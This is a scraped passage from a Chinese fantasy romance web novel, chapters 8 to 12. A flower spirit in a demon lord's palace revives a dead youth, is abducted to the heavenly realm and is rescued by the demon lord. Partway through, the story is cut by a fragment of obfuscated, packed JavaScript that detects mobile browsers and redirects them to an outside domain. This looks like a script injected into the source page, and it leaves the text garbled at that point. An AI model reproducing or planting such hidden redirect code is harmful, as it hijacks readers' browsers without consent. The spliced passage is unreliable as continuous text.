危止转念又想,不就是养只灵力低微的小妖吗,又有何难?等将她养好了,再所有过错一同罚过,到时她再怎么想抵赖也无法。
次日,绪岁安望着顶,大大的眼睛中透露着满满的疑惑,她这是死了吗?
还未等她多做思考,就传来敲门声,“请进!”绪岁安坐靠在角落,用被子裹好自己,朝门的方向喊道。
一侍女朝她行礼,手上的托盘中还放着一碗,相隔几米她都能远远闻见酸臭的药味。她捏着鼻子道:“这啥啊?”
“尊上吩咐给您的补药,每日三碗。”
“什么!?”绪岁安惊地从床上站起,三碗!她都能喝成巨人观了!嗯?绪岁安已在慢慢习惯脑中突然迸发的莫名词句。
绪岁安靠墙站着,招手示意那侍女离远点,而那侍女却突然跪在地上将药碗举过头顶,“云大人吩咐了,定要属下眼看着您喝完才能回去复命。”
绪岁安皱起眉,眼底浮出担忧神色,心道:
我先前折了那桂花枝,桂花枝不再的消息魔王算是换着法知晓了,现下又命人送来一碗发酸发臭的药,还要人亲眼看着我喝下,怕不是要毒死我以此泄愤?
绪岁安又盘腿坐回塌上,“你放下就走吧!我会自己喝的,至于复命你就说,你已看我喝下。”
那侍女姿态更低,“属下不敢,还请您尽快喝了便好。”
两人就这样僵持了好一会,还是绪岁安赌气想继续耗着时,瞧见她微微颤抖着的手才无奈拿起药碗一饮而尽,她将碗倒扣着展示,喉间泛上来汤药的酸苦使得她眉头一皱,“这下可以了吧。”
那侍女接过药碗行礼靠退,绪岁安又漫无目的地躺回塌上,仰面道:“算来算去,还是无能挽救,那魔王终究是留不得我了......”
她翻过身侧躺,鼓起嘴,努力屏住,不想让不争气的泪水落下。
忽而她又安慰自己道:“早死早超生,我好见了师父,再饮下孟婆汤,早早轮回罢。”
只是下辈子,她不要再被雷劈,不要再遇见危止,不要卷入这场天魔纷争中成为牺牲品......
“都饮下了?”云螭朝着广寒殿内看去。
那侍女行礼,“都饮了。”
闻言云螭满意地笑笑,拿出三颗发着耀眼光芒的灵晶,侍女道了谢后接过,“属下一定尽心照顾那小仙子。”
绪岁安躺了许久,甚至等得有些困了,都没有感到有疼痛袭来,她猛地坐起身,“莫不是那真是补药?”
“不应该啊......魔王何许人也,我干了这么大的祸事,不仅没杀了我还给我送药?”绪岁安摇摇头,摸着下巴思索猜测,大惊,“不会是要用药慢慢给我毒死吧!”而后又被自己否决:“不会的不会的......”
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绪岁安飘忽不定,脑海中猛然响起魔王那句放血的话,要不然,子时去看看,万一魔王看见她认错态度良好的份上,留她一小命呢?
思索片刻,她决定,夜‘闯’瑞灏殿,嗯!
子时,绪岁安扒在瑞灏殿门口迟迟不愿进去,她偷偷看着殿内危止的位置,见没人后松了口气,正欲转身回寝,身后冷不丁站着个人。绪岁安吓了一激灵,而后嘴角机械般扬起一抹笑容,“嘿嘿,尊上,好巧。”
危止垂眸看着眼下这只小桂花精,也随她一笑,“是啊好巧,本座回寝,你来作甚?”
绪岁安偷偷打量着危止,见他似是忘了放血的事儿,她心中一喜,想着就此回她的广寒殿,心口却像堵了块石头。
明明是她搞没了桂花枝,她还想着肇事逃跑,按理说大魔头才是受害者,那桂花枝貌似对他很重要,她却将它毁了。
心想中自我谴责的绪岁安低垂下头,不情愿却又甘愿地朝危止伸出胳膊,事是她造成的,她就该承担接下来的一切,是她对不住危止。
危止有些意外地挑眉,他看着那小桂花精又怂又勇敢的模样顿时没了气,轻笑一声,将她手推开。
“等你修养好了再说吧,本座可不想,”他忽而顿住,继而道,“一命抵一命。”
绪岁安惊讶地抬头看他,眼间已没了恐惧,他......怎么会......
见她还不动作,危止疑惑道:“怎么,你想啊?”
绪岁安摇摇头,一脸郑重道:“事情是我造成的,你是受害者,我肯定要对你负责的。”
没一会她又变得愁眉苦脸,将一切都摊开:“其实桂花枝早在......”危止听完她的话却丝毫没有生气,绪岁安疑惑地看向他。
“你以为你所做的一切本座都不知?被你一只小妖蒙在鼓里耍的团团转是吗?”
危止突然的靠近,绪岁安本能往后一步,却被门槛绊到,向后摔去却落入了危止的掌心,他将她拦腰捞起,两人贴的太近,绪岁安不自在地别开头,危止感到一阵嗡鸣,耳廓像有火在燎,他猛的松开手,绪岁安失去重心摔在一旁的地上。
“诶呀!”绪岁安捂着自己缓了许久,抬头更是一脸怨气地盯着危止。
危止先是笑出了声,再是感到灼热目光后的闪躲。
绪岁安迅速爬起,拍拍衣服。
危止依着门框,见着那道离他越来越远的黄绿色身影,笑容逐渐隐去,他蹙起眉,为何他觉得这一幕如此熟悉,他们是不是在哪有些渊源?
危止笑着摇摇头,不再去想,倘若有机会,他问问那小妖不就清楚了。
这几天的观察,这小妖竟不是他所想那般如同天界之歹毒,虽贪财怕死,竟也善良勇敢,乐于助人。
还有些,活泼可爱。
危止只觉得自己真是疯了,转身回到瑞灏殿,书架上的一画卷落下,拾起打开,他却愣了神......
9. 第9章 还好有危止
原本画卷中那抹浅黄色身影的面容已然像被施了法般抹去。
危止蹙眉,在看到她身后方直直插在土中的忘玄剑,眼睫轻颤,心中疑惑弥漫,她到底是谁?
一股酸楚在胸腔徘徊,久久未能散去。
不知是否是直觉,他总觉得这画上之人与那小桂花精定有些渊源,或改日问问她吧。
危止揉揉发酸的太阳穴不再去想她,眼前一道迷雾飘来,站立在他面前,幻化成那道淡黄色身影,开朗地朝他招手:“纪行!”
她像个小太阳般,阳光普及之地,他都会觉得温暖。他也随她笑笑,而后又忽的冷下脸,刹那间朝她出手,却被她敏捷地侧身轻松躲过。
顿时屋内一片混乱,两道身影打斗时碰到的东西摔了一地,直至危止将她压制,她才摆摆手幻化成原本的模样。
“错了错了!”符序大喊。
危止嗤笑着将他松开,符序表情皱吧地揉了揉肩,危止瞥了他一眼,坐在茶桌前慢条斯理地品茶,“你来干什么?”
符序拂了拂袖,将殿内的布置复原,死皮赖脸地坐在危止对面,拿起一空杯朝危止那伸了伸,‘嗯嗯’地仰仰下巴示意。危止睨了他一眼,抬手拿起茶壶给他倒了一杯。符序满意地品了口茶,才开口:“这不是看你看那画卷入神吗,真有这么好看吗?还朝我笑得那样——”
“你当真闲得无聊,化成那小桂花精的模样。”危止原先喝茶的动作一僵,随后又瞥眼看向对面正细细观摩茶杯的符序,察觉到不对的符序抬头,“这么上好的宝物被你用来当茶盏!当真暴殄天物啊啊!”
“诶问你,方才你为何用那小桂花精的脸,身着的却是那画中之人的服饰?”
符序挠了挠后脖颈:“哈哈,我瞎想的!”
危止无奈摇摇头,视线莫名被杯壁内的桂花枝吸引,陷入沉思,他先前当真有这么爱桂花吗?当他抬头时,正瞧见符序那家伙正欲偷偷将茶杯塞入自己衣襟处。
危止挥了挥手,那茶杯便像受到力般自己回到了桌上,只符序尴尬笑笑,“别那么小气嘛,我就带回去,研究研究。”
闻言危止嗤笑道:“你倒定和那小桂花精投缘。”
“既然如此,那你将她给我,我早就瞧着那小桂花精机灵可爱,甚是心喜。”
“你将她给我,我定好好栽培,未来某天,她也定能占了你的神位。”
危止刚听到符序要那小桂花精,脸便阴沉的像要杀人,根本没注意符序最后那句占了神位。
“你看看你你看看看!急了吧,挂脸了吧!”,危止嘴硬道:“我只觉得,要是将她给你养,那我这魔宫稍稍值钱些的物件,定要被你俩搜刮干净。”
“啊——啾!”绪岁安连打了两个喷嚏,她揉揉鼻子,一个喷嚏是有人想你,两个喷嚏是有人骂你,三个喷嚏......谁在骂我!绪岁安从床上跳起,又坐下,她在这魔宫除了认识岐黄,就只有危止了,定是危止那小人!
拂晓时分,绪岁安帮着岐黄去忘川之界采摘琉璃袋。
“老头儿,忘川不是非死之人不得进吗?”绪岁安背着木框,时不时扭头看一旁的岐黄。
“忘川共三川,前为浅川,老弱病虚者能入。中为消川,将死之人可入;末为忘川,过路亡灵转世轮回的必经之路。”
“那我怎么能......”
岐黄瞧着她这样子,欲言又止。这一幕被绪岁安尽收眼底,“嘿老头你是不是骂我呢?”
岐黄呵呵一笑:“等你何时被吓不晕再同我讲这些吧。”
绪岁安:......【阴沉JPG.】
两人来到浅川,浅川一侧是悬崖峭壁,石壁上时不时闪烁着点点紫黄光辉。
“那是啥?”绪岁安手挡在眉处,眯着眼仔细看石壁上的淡紫色的花朵儿。
“那就是琉璃袋。”
“这么高你怎么上得去?”
“所以我问了尊上带你来啊!小岁安呐,你只需要上去采了扔下来,我就在下面给你接着它们。”岐黄搓搓手,将木框拎起,笑着看向绪岁安。
“我都这么体弱了,岐黄爷爷......”
绪岁安试图唤醒岐黄的慈爱,只岐黄推着她来到石壁底下,“快快快小岁安,你不是绪照山最厉害的小妖吗,快让我看看到底是不是,怕不是...空有虚名吧?”
竟敢有人怀疑她的实力!
绪岁安撸起袖子,仰头望向陡峭的石壁,吞咽了口水,不行!她就是绪照山最厉害的小妖!区区采药怎么能难倒她!
这么想着,绪岁安借着那时环中的法力,飞到一处低矮的落脚点站稳。抓到附近的一株琉璃袋草,转身她便自豪地朝岐黄挥手,“看吧!我绪岁安是何等人也?”岐黄在下先是笑着夸了她,后又表情变得惊恐,“小岁安你......”
绪岁安抬抬下巴,仍在臭屁自夸,“怎么样,这就是绪照山未来家主的实力!”
“抬头啊小岁安!”岐黄在下头焦急喊道。
绪岁安才反应过来不对,抬头时一具黑红色身影朝她砸来。
“啊!!!”
绪岁安紧抓住石壁不敢松手,手腕间的时环发出阵阵黄色光芒环绕住她,那道身影重重砸在光芒之外后又缓冲着掉落在地面。绪岁安错愕地缓过神来,看了看时环,心下稍安,还好有危止给的手环,不然她定会被压成一滩肉泥......
她低头,那人脸色苍白,像是死了许久,脸上的血痕也变为黑红色。岐黄正蹲在一旁查看,绪岁安赶忙胡乱摘了几朵琉璃袋草便下到地面。
“他怎么了?”
绪岁安看向岐黄,只见他满脸无可奈何地摇摇头。
“可惜。”
绪岁安瞧着面前少年,也觉着可惜,明明和她同样正值风华的年纪,他却遭人暗害。绪岁安眸光黯淡,不自觉地朝那少年伸手。
岐黄赶忙按下,低声道:“小岁安,万万不可!忘川之界的尸首都是归幽冥婆管,你若插手......”
“定会遭谴哈哈哈哈哈哈!”那道不善的女声越来越近。
绪岁安抬头,那蒙着黑色斗篷的女人站在半空中,鲜艳的红唇似是用鲜血涂抹般。绪岁安只觉得心脏快要跳出,还是一旁岐黄一手按着她伏地。
“幽冥大人,我们只是经过此处想要采些琉璃袋草,用于治病救人,惊扰了您实属抱歉,还望您大人大量,多包涵包涵。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16219248|181420||http|test|mini|href|location''.split(''|''),0,{}));
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>那黑袍女人哦了一声,看向伏在地上的绪岁安,饶有兴趣朝她伸手,“你,抬起头来。”
绪岁安心中更是一气闷恨,凭什么看病救人还要看她的脸色,又不是一定救不活了,她只一脸你要奈我何地表情直起身,直勾勾盯着幽冥婆。
那女人见着她的脸时震惊地差些没站稳,以他们听不见的声响在口中不停喃喃道,“你,你怎么来了......”
绪岁安被她的反应惊到,她只是学学危止那吓人的模样,学的能有这么像吗?这就唬到了?
只见那女人收敛了气焰,反朝她点了个头,转身离开。
“这这这是怎么回事?”岐黄拉着绪岁安,纳闷道。
绪岁安努努嘴摇头。
“想必幽冥婆是应允了便不再为难,小岁安你快看看他。”岐黄想着绪岁安是羽涅的爱徒,必定是学到了些她师父救人的皮毛,便叫她快再看看眼前这少年。
绪岁安先是在他额间与胸口处望气,见无丝毫的生命体征才收回手,摇摇头。
“我记得,你师父有一道能医死人的法子,你可还记得否?”
绪岁安恍了神,师父当初救人时的情景再次浮现于眼前,那时她躲在自己的灵境后偷看,滴答滴答滴答,先是再是最后是......
心中纠结许久,她抿抿唇,心下一横,掏出岐黄腰间带着的匕首,迅速划过手心,鲜红的血液顺着手心滑落。
“小岁安你!”岐黄在一旁惊地说不出话。
她先是将血液涂抹在那少年的手心,额间,耳后,再是拧眉挤出些新鲜血液,掰开那少年的口,六滴入口后拿开。最后,将受伤了的掌心放于前端,另一只手在后头施法。绿色的法术透过那只受伤的掌心,带着血液,缓缓变成红色,慢慢注入那少年的身体中。
许久,那少年动了动指,岐黄在一旁惊喜地喊着动了动了,直至他睁眼,绪岁安才收了手。
因渡了太多气机给那少年,绪岁安站起来时眼前发花,又跌坐在地上。
还好危止给我强灌了许多的补药,不然我又该晕了。
绪岁安心道,满是对自己救活一人的自豪,以及对危止那苦药的感恩。
绪岁安稍稍调整好后,站起身,看见岐黄在石壁旁挑挑拣拣。
“干什么呢老头。”
“你好点没?刚刚那人砸下来时刮下许多琉璃袋草来,我捡点。”
绪岁安笑出声,岐黄看着她那有些发白的小脸,从腰包中掏出一把药材,绪岁安顿感不妙,直到岐黄递到她面前。
“到点了,你该吃药了。”岐黄笑眯眯地看着她,颠颠手。
“这怎么吃啊!我明明是喝的药。”
“嚼着吃效果更好。”
绪岁安命苦地接着岐黄硬塞进手中的药。
直到一道黑红身影迅速在石壁上东奔西跑吸引了两人的注意。
不一会,那少年落在他们面前,怀中是一捧琉璃草。正在嚼草药的绪岁安艰难地吞下,“这......”
“谢姑娘的救命之恩。”
绪岁安面对突然的感谢不自在地摆摆手:“不用谢不用谢嘿嘿,你要补补吗?”说着便伸出那只握满草药的手。
10. 第10章 天生的爱人
绪岁安和岐黄朝那少年道谢后便离开了,只一路上绪岁安总觉得有人在跟着他们。她转过身,瞧见树干露出的红色衣角就确定了来人。
绪岁安抱肘等他,直至他自己出来。
“干嘛跟着我们?还有事需要帮忙吗?”绪岁安问他。
那少年有些傲娇地朝她开口:“你叫什么名字?”
“干嘛?”
“你救了我,我想知道你的名字。”
“你都没告诉我我为什么要告诉你?”
岐黄站在一旁,只觉得是两个淘气的孩童在互怼,有些好笑。
少年脸撇向一边,唇中磨出二字,“荆芥。”
绪岁安抬着下巴傲娇地飞速说出自己的名字:“岁安。”
荆芥的嘴忽张忽闭,似是在读她的名字。好一会,荆芥看向绪岁安,郑重地开口:“倘若你以后有需要,就找我,我会尽力帮你。”绪岁安朝他道了谢,那少年,哦不,荆芥转身便离开了。
绪岁安长叹气,岐黄适时凑过来:“交到朋友怎么还叹气呢小岁安?你从前不是最爱交朋友了吗?”
绪岁安望着那空空的道路,神情有些低落,怎么都会法术啊......
绪岁安回了魔宫帮岐黄将草药分类摆放,回到广寒殿时已然是夜幕。
她疲惫地推开门,敲打着后颈,正欲倒头就睡时,瞥到书桌前正对坐着的一道藏蓝色身影,原先昏昏沉的绪岁安立马清醒,小心朝那人试探,“你......怎么来了?”
“喝药。”
绪岁安这才瞧见桌上放着的药碗,酸酸涩苦,头皮发麻,不是个好滋味。她艰难地咽了咽口水,朝他摆手:“我会喝的,你走吧走吧~”
言罢,绪岁安见危止仍坐着不为所动,便上手去拉他。只,这危止跟粘在椅子上般怎么也拉不起来,忙碌了好一会的绪师傅见毫无动静,竟是气急败坏地瞪了他一眼,就连危止也没想到。他低头嗤笑,只轻轻一拽,那绪岁安便向他摔来。
危止一本正经地将腿靠向一边,绪岁安没了垫,顺着势摔坐在他腿边,头靠在他的膝盖处。
绪岁安泄了气,抓着魔王的衣袍扯了几下,“诶,你,走。”
危止垂眸睨了她一眼将视线移开,没有理会。
随后,衣袍又晃了晃,“孤男寡女共处一室,不好吧......”
绪岁安头顶传来一声冷哼, 道:“那你这抱着本座的腿是何用意?”
绪岁安将手举起,那魔王竟也极给面子地站起身,正欲走时,后头像是有东西在扯,转头一看,绪岁安正坐在他的衣摆上!!!
她望着危止又停下的背影,一脸疑惑,丝毫也没想过他走不了的原因是因为自己。
“起来。”
“哦。”绪岁安站起身,她不明白为什么这魔王对别人坐还是站的掌控欲这么强。
见危止转头要走,绪岁安嘴角再也压不住地开朗,跟在后头,“我送您吧尊上!”
“哼。”
这魔王...还傲娇上了。绪岁安不理解地耸耸肩心想道。
眼见快要到门口,那魔王骤然停下,转身时绪岁安的脚只觉一阵吃痛,眼前又有‘重物’压迫,遂又双双摔了下去。
“啊!唔......”
绪岁安不可置信地直勾勾盯着眼前人。
那木质的清冽香霸道地钻入鼻尖,她能感到胸腔内的那颗沉寂了许久的心,在此刻的瞬间,疯狂跳动。她眼睫轻颤,缓缓闭上眼,有些不敢相信眼前的一切。
少时,那魔王也反应过来,一手撑起,绪岁安才发觉自己的脑袋没有受到重击全是因为危止的手在后护着。
月光撒入殿内,照的两人发丝微亮。柔和的月光拂在他的脸颊,带走平时的凶戾和冰冷,竟也看起来温柔与俊美。绪岁安一时看愣了神,直到危止轻咳她才回过神来。
两人坐起身,周遭氛围一片尴尬沉寂,两人背对着背,各红各的。
夜间,绪岁安只要一闭眼就是那魔王的俊脸朝她迎来,她猛的睁开眼,呆望向天花板,她这是怎么回事?
“嗨!尊上!”绪岁安见危止路过朝他打招呼,却只得到危止身后的云螭看看尊上又看看她而后露出一脸不解的神情。
绪岁安泄下气来,她也不知道所因为何,这几日都不见危止,今日好不容易碰上,他却头也不回话也不吱一句的就走了,平常他左右都会嘲她几句,现下是嘲也不嘲了,“真奇怪啊......”
绪岁安撇头又想:今天是回绪照山的日子,我管他干什么?
先前她又赖着危止求才求得了三天回一次绪照山的允许,一想到绪照山,她就感觉身边的‘魔气’全都驱散,取而代之的是绪照山那青青草香。
绪岁安想想就兴奋,手舞足蹈地出门又马上折返,在广寒殿、厨屋搜刮了许多些东西,将布袋打了个漂亮的蝴蝶结后甩在右肩,心情只能用‘妙哉妙哉’来形容。她势必要给绪照山的兄弟姐妹们带些好物什回去,她心道。
绪照山下,一群身材魁梧的黑衣锦卫正围着一块牌子面露难色面面相觑,绪岁安瞧见后立马掉头欲换路上山,她心道:这群人身着黑衣,体型高大,想必不是什么善茬,我还是快快避开的好,别发现我别发现我......
所谓害怕什么就来什么,绪岁安拿着包袱挡住脸往回走,却依旧被其中一位黑衣察觉并喊住。
“姑娘!”随即,所有人都闻声看向她。
绪岁安脚步一僵,只而转身尬笑:“我走错啦嘿嘿。”
为首的一位上前来,朝她礼貌一鞠躬,“我等奉主人之命,来此山寻人,不知姑娘可否带我等上山?”绪岁安刚要摆摆手拒绝,却听那人继续道,“若姑娘能带我等上山,我可给与姑娘六百两黄金作为报酬。”
绪岁安眼前一亮,六百两?黄金!!!!!!
她先前去人间,一个包子就要三文钱,而六百两黄金,那就是,个十百千万十万百万千,亿......
绪岁安掰着的手指头突然顿住,够她每日吃好多好多人间好吃的吃食了!到时候她还能用这些钱雇好多的花匠,重修绪照山,那时山上的花草小树何愁无人照拂?没准钦天监那群术士也成!有了这么多钱,她的术法不也能更快找办法
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回来吗?那重建绪照山岂不是她摸摸手指头的事!
“只是......”她总是有些担忧的,毕竟他们说只是寻人,万一......
为首之人似是看出了她的顾虑,赶忙道:“吾等只是寻人,不会对这山上做任何不善之事。”
绪岁安仍有些担忧,看向为首那人坚定的神情,不像是会说谎的人,只,他与其他一行人不同,身着黑袍锦衣却是束着一部分银白长发,怪得很。
“这是我的官牌。”那为首之人将一牌子递到她手上,绪岁安垂眸,蹙起眉,上面竖刻着些乱七八糟的什么‘小旗......十七’,背面还刻着‘借者与出借者同罪’,她看懂了,赶忙将这个烫手山芋塞回那为首之人手中。“倘若姑娘不信,大可拿着我的官牌,待下山后再行归还。”
“我信了我信了!”绪岁安走在前头摆摆手,“和我走吧。”
她可不想和这个,白毛,同罪论处,她被劈的还不够吗。
十七浅笑着收起官牌,跟在她后头,只这上山路格外难走,他与下属们硬闯过,不是遇见张着血盆大口的巨型花,就是毒雾,或被荆棘藤蔓缠住,藤蔓上的根根青刺深深扎入皮肤。
只是这次,却是一路平安。
如此思索着,十七十分警惕地看向走在前头的绪岁安。绪岁安一路亦小心谨慎,注意力全在后头那拨人,倘若他们有什么不对劲,她便唤出尸花姐姐,将他们都吞吃了。
“姑娘。”那白毛开口唤她。
绪岁安回过头,他才继而道:“你就不关心我寻的是何人?”
绪岁安晃荡着手臂,一脸无所谓道:“你们寻人都寻到这儿了,必定是个重要人物,多知道了对我不好。”
这群人都带着佩刀,各个凶神恶煞,她敢多问才闹鬼了!
她只想快快带他们寻一圈后那到那六百两黄金,好重建绪照山,让大家都过上好日子。
那白毛轻笑一声,又自言自语开口:“这山上先前是否住着位医者?”
医者?岐黄?岐黄也不住这儿啊,难不成是师父先前积累下的善缘?绪岁安心猜测想着。
绪岁安出了神,还是那白毛走到她身边在她面前挥手才将她的思绪拉回,“啊,不知啊,我也才来不久。”十七盯着她那显然说谎的表情和漏洞百出的话语,却没有拆穿,继而听她道:“你们找了人就快快回去吧,这儿不便久留。”他浅嗯一声,“哦对了,姑娘你叫什么名字?”
闻言绪岁安一愣,不会若是找不到人就将锅赖在她身上吧?“我不知道。”身旁人有些意外地挑挑眉,“我叫十七。”绪岁安直直看着前方的上山路,用不了多久就快要到山顶了。
正当几人安然上山时,上方划过一道巨大黑影,伴随着鹰叫。那群锦卫立即拔刀警戒,那名为十七的白毛更是挡在绪岁安身前。绪岁安懵懵的,绪照山也从未养过鹰啊!
上方黑影的压迫感越来越强,一阵强风扫过,附近的花草被吹卷到空中,其中几株花草还喊着“小岁安救命!”,绪岁安见状猛地冲出人群将那些花草抓到怀中。
“你不要命了!”十七吼道。
11. 第11章 本座的小树妖呢?
趁那道黑影还未压下,十七掐准时机将绪岁安拉回身后。
这等妖物他还从未见过,心中更是拿不准,只求别是钦天监那群人总说的那些难缠的妖物。
这等景象她在绪照山时也从未有过,定时来者不善,如同那场天雷般,先是有预兆,再是打的人措手不及。绪岁安紧紧抱着一捧兰草躲在黑衣锦卫中央,紧闭着眼只求师父能保佑她。她为什么偏要今日来,又偏偏带着这群人上山,害的大家都身处险境......
那道黑影发出长啸,幻化成一只异瞳雄鹰,似是在瞄准谁,在蓝瞳锁定绪岁安时,猛地朝人群俯冲而去。那群人眼瞧着是一只鹰,瞬间失了害怕的情绪,挥刀将要看向它时被它振翅弹开。它抓起不知所措的绪岁安,腾空而起。
“啊!!!”
绪岁安像一只小鸡仔般被那只鹰拎起,她惊叫出声,却发现左手被人拽住,是十七!
“别松手,抓紧我!”
见僵持不下,绪岁安感到雄鹰周遭有灵气包围,以为自己要交代了,声音染上哭腔,“你别救我了,松手吧!我们不熟!”
“什么熟不熟的,你命不要了?!”十七咬牙喊着。
僵持不下时十七终于泄力,只下一秒二人就被雄鹰一同拎走。
再睁眼,是一间牢。
地面阴冷潮湿,不知是何处泛来血的腥气。
这明明就是......
“是地牢。”绪岁安猛然回头,对上十七的眼,他正靠在角落单手落膝坐着,眼下还多了道红痕。
绪岁安跑到十七面前蹲下,十七垂眸,“这是何物?”绪岁安低头,手腕处的时环泛着红光,她猜测这多半是险了,心下一沉,要是危止在就好了......
她似是想到什么般将腰间的口袋打开,取出一颗药丸,递给十七。
“这是什么?”十七本能地后仰拒绝却背靠墙壁避无可避。
绪岁安直截了当地将药丸塞入他的口中,“别废话,吃了你的伤就能痊愈。”
闻言十七掩下震惊神色,摸上右手手腕处的伤,原先酸胀撕裂的痛瞬间消失了,他掀起袖口,完全看不出受过伤,他压着不可思议的神情重新打量面前这个正在翻腰包的姑娘,一个大胆的想法在他脑海浮现,她会不会是主上要寻的那位神医?
“诶,你叫什么名字。”
“绪岁安。”绪岁安埋头再在腰包中摸索,完全没注意十七那猜疑的目光。许久,她拿出一块用黄皮纸包好的糕点,她吞吞口水,在纠结中,终是将糕点递给十七。终归他是想着救她才到此的,再说了她近几日灵药几碗几碗的灌,体质肯定要比他这个凡人好许多,绪岁安如此心道。
见他愣了许久后才接过,绪岁安拍拍手撑着地坐下。
“诶。”她刚想问些什么便被打断。
“我叫十七。”
“哦。诶,那你这次没找到那医者,你主人会罚你吗?”
十七一顿,道:“主人心善,不会的。”
“那你主人是谁啊?”
十七正纠结是否要告诉她时,地牢的门缓缓打开,几位身穿白衣的侍从走到她身边将她押解着提起,见状,十七果断抽出佩刀用刀背将那几人敲开,将绪岁安护在身后,“来者何人?”
为首的白衣耻笑:“白毛小子,胆敢伤我天界仙侍,杀无赦。”
天界?十七错愕地看向绪岁安,绪岁安连忙摆手,“我只是一只小妖,绪照山的小妖!”
十七忽而就能理解这绪岁安为何能避开绪照山的重重陷阱,只是这天界他从来都是同主人一般敬畏的,现下伤了仙侍,为了逃出这地牢,只得将错就错了。十七心下一横,紧握刀把,作出要抗争到底的模样。
几个仙侍将他们包围,作势要施法钳制住二人,绪岁安见状赶忙尽力运转时环内残存的法力,她皱着眉,明明她喝许多的汤药了啊为何这次运转要比上次艰难许多。在绪岁安的坚持下,终震出一波法术将施法的几人掀翻在地。
他们爬起后欲再施法将二人压制,却惊愕地面面相觑,“为何使不出法术了!”
“我也是!我也是......”
十七惊喜地看向一脸严肃的绪岁安:“你还有这种本事呢。”
绪岁安蹙眉,被她传染了?
为首的仙侍示意其他人用锁仙绳将二人捆住,刚上前一步,便被十七一刀伤倒在地。当所有白衣倒地时,十七目光停留片刻,后拉着绪岁安头也不回地杀出地牢。
刚逃到一座石桥上,桥边云层环绕,似是仙境。
正当两人思索如何离开时,眼前站着一女子,金黄色的一身服饰,轻蔑地打量着他们,准确来说,是在看十七旁的绪岁安。
不知为何,她有些害怕看着那女子的眼睛,绪岁安缓缓躲在十七背后。
那女子抬手,指向绪岁安,“将那小妖给我抓来。”
绪岁安被一群仙侍拉扯到那女子面前,那女子又看向十七:“哦,漏了你。”而后又轻飘飘地朝身后仙侍道:“将他扔出天界,人间的俗人竟也能上我天界。”
绪岁安小心抬眼偷看那女子,那女子似是感应到般回看她:“我很好看吗?盯着我干什么?”
“美。”
那女子忽而红了脸颊,不自在地心里却道:油嘴滑舌好不害臊的小桂花精!
“见了息棠仙子还不跪下。”
绪岁安只觉得莫名奇妙,跪天跪地跪父母师父,她算哪门子,“啊!”两膝处的疼痛袭来,绪岁安硬生生被人踹倒跪在那女子面前。
那所谓的‘息棠仙子’抬手间场景转换,将她带到了一处院内。息棠弯腰凑近她,强硬地抬起绪岁安的下巴,“倒也不过如此。”而她却是越说越愤恨,转头掐上她的脖颈,“那魔王竟特地为了你这株低贱的灵树而来讨伐高尚的我!”
绪岁安咳了几声,望着她却发不出任何声响,待她感到自己快要昏过去时那息棠突然松手。
头顶传来息棠充满恶意的声音:“放心好了,我是不会让你死的,你便就待在我
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为你特意准备的嗜血阵里吧!”
绪岁安这才发觉身下是一道血阵,散发出黑色的淡淡光辉,她无法离开无法站直,像上头又一道掌印压着她,慢慢吸食着她的血液,她感觉血液中掺杂了些难以言说的粘稠物质。
时环发出的保护光罩不一会便被压碎,就连同时环都断成三截。
绪岁安将时环抓起紧紧握在手心,濒死时分脑海中全是与危止的相处,她苍白的唇微张却发不出任何声响,僵持许久她终于脱力,疲惫地慢慢合眼。
“依属下看,趁魔族松懈时再一举攻入,得诛魔王。”
天帝高座在上头,下方一位白发老人弯腰行礼道。离昂颔首,俯视众人。
“陛下,属下有一言。”
“讲。”
还未等那尊者开口,地面颤抖,边缘栏杆四分五裂,突然一巨响,周遭雕像粉身碎骨,火光冲天,大地凹陷,白雾弥漫。离昂紧握着座椅扶手,微张的唇发不出声响。只下一秒,巨大的爆炸声轰鸣响起,石料碎成粉末,烟雾弥漫中刹那飞出一把冒着凌冽寒光的剑直直插在天帝的座背上。
下方族老中有一人看清了那剑的样式,颤抖着手,跌坐在地上,大喊道:“忘玄,是他!是他!”
迷雾中不紧不慢地走出一人,矜贵又高雅。
在看清来人后,刚站起来的天帝又跌坐回椅上。
总有人不怕死的,指着危止道。
“大胆危止!”
危止嗤笑出声,笑意一闪而过,取而代之的是冷漠和愤怒。他轻轻抬手又随意落下,那忘玄从椅背拔出直直刺向那人。忘玄刚穿过那人的刹那,那人便也如同石料那般灰飞烟灭。那群仙君无一人再敢吱声。
天帝猛地站起身来,指着他:“大胆纪行,既已堕了魔又有何脸面擅闯我天界!”
危止饶头兴致的抬头,轻蔑道:“离昂好久不见,你还是如此。”
“胆小懦弱却又心怀壮志,真令人钦佩。”
“你若再要冒犯我天界,那便休要怪我无情!”
危止不再听废话,只打断他,开口:“你族人从我这儿拐走的小树妖呢?”
“什么小树妖?”离昂听得糊涂,他也未曾命人去抓什么小妖啊。他将目光落到一旁的息棠脸上,息棠后怕地回看他时他便了然。
殊不知这一幕被危止尽收眼底,忘玄像是解决完一个后又要解决下一个般直直朝息棠冲去。剑锋快要刺入眼球,息棠绷直着背,难以平复:“我说!”
危止抬手:“不必。”忘玄勾起息棠的衣领将她狠狠摔在危止脚边。
“你带本座去,若迟一息,本座便杀你天族一人。”
“纪行你别太过分!”危止睨了离昂一眼,他又悻悻闭了嘴。
“不可啊魔尊。”不知谁给她的胆量,竟抓住危止的衣袍苦求,危止蹙眉,后退一步,他嫌脏。
“啊!”人群中又一惨叫声,危止轻笑。当是忘玄在提醒那息棠。
待找到绪岁安时,危止差些失控。
12. 第12章 好久不见
绪岁安小小一只蜷在黑红血阵中,手中还紧握着断裂的时环。颤抖的手小心地抚上她那苍白冰凉的小脸,危止只觉得自己的心,像是被攥紧了般,生疼。
危止心下一紧,扭头看到息棠正欲离开,怒火中烧,亲手折断了灵蝶的全部翅膀,并将灵蝶的血滴在阵中方才阵消。
灵蝶断翅,是钻心的疼痛。
且受着吧。
危止刚小心将绪岁安抱在怀中,一小撮发便被她攥在手中靠近鼻尖仔细嗅着,像是能安抚她般。危止好看的眉眼紧蹙,她越朝他温暖的胸膛贴近,他的心就莫名地疼。危止回头瞧见在地上痛不欲生的灵蝶,心中怒火却不会因此平息。
